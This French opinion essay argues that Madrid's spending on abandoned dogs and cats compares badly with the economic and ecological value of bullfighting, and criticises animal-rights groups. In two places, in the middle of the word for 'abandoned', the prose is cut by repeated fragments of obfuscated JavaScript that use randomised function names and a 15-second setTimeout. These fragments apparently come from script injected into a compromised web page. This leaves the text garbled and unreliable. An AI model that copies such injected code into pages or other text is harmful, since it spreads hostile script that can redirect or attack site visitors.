ANIMAUX DE COMPAGNIE, ANIMALISTES ET TOROS BRAVOS

Selon la récente entrée en vigueur de la Loi de Sacrifice Zéro, la Communauté de Madrid envisage de dépenser un million d’euros en plus afin de supporter les dépenses occasionnées aux associations protectrices qui ménagent les 6.000 à 10.000 chiens et chats abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonnés chaque année dans la région.

 Il faut sans doute se féliciter de la sauvegarde de ces animaux. Mais les associations animalistes, ainsi que l’Administration, feraient bien  de poursuivre avec plus d’efficacité des pratiques délictives qui obligent les finances publiques à consacrer une partie du budget nécesaire à d’autres fins. Car pallier les difficultés économiques que traversent de nombreuses familles, le chômage, le manque de logement et autres problèmes urgents, préoccupe aussi les citadins qui doivent payer collectivement cette facture. Cela bénéficierait également aux associations protectrices qui ont du mal à s’en sortir.

Les organisations animalistes, qui passent leur temps à recueillir des aides économiqueschez les particuliers et les associations internationales afin de promouvoir l’interdiction de la Tauromachie, devraient réviser elles aussi leurs programmes et leurs objectifs. Quoique organiser des campagnes pour dénigrer les courses de toros, qui sont une activité légale et productive, offre plus de visibilité que de s’occuper de ses propres affaires.

 Il serait aussi opportun de réaliser et de divulguer une étude sur l’état de bien-être animal dans les plus de 50 exploitations de bravo que réunit la Communauté de Madrid. Et de recenser les animaux, les espèces et les espaces naturels que la lidia protège avec un peu plus de 1.500 toros et novillos bravos sortis à l’année sur les arènes, ainsi que l’emploi, les bénéfices du fisc et de l’environnement qu’elle engendre, ou les contrôles sanitaires que l’on observe à l’ égard de ces élevages et leur produit dans la Communauté de Madrid. Les comparer avec les dépenses que, au bénéfice de peu de gens, entraîne pour les citadins l’exploitation d’animaux dénaturalisés, sinon castrés, serait sûrement intéressant.

En outre, encourager l’étude de races comme celle du chien Alano et d’autres, qui aident à réaliser des activités reliées à l’élevage de toros bravos, au pâturage, à la garde ou la chasse dans la Communauté de Madrid, et celle des félins qui vivent en harmonie avec les êtres humains et d’autres espèces dans les exploitations agricoles et les élevages écologiques, de telle sorte que l’on puisse comparer aussi la situation de ces vigoureux et appréciables animaux  avec celle de tant de mascottes enfermées dans un appartement et ensuite abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonnées au bord de la route.

Si l'on aime se faire plaisir avec les animaux, il faut s'occuper d'eux.  Moi j' aime mes chevaux, et je m'en occupe.

Carlos Arévalo Nonclercq

ncc comunicación

ncc@naturecreacom

PARADOJAS

ALANOS 1

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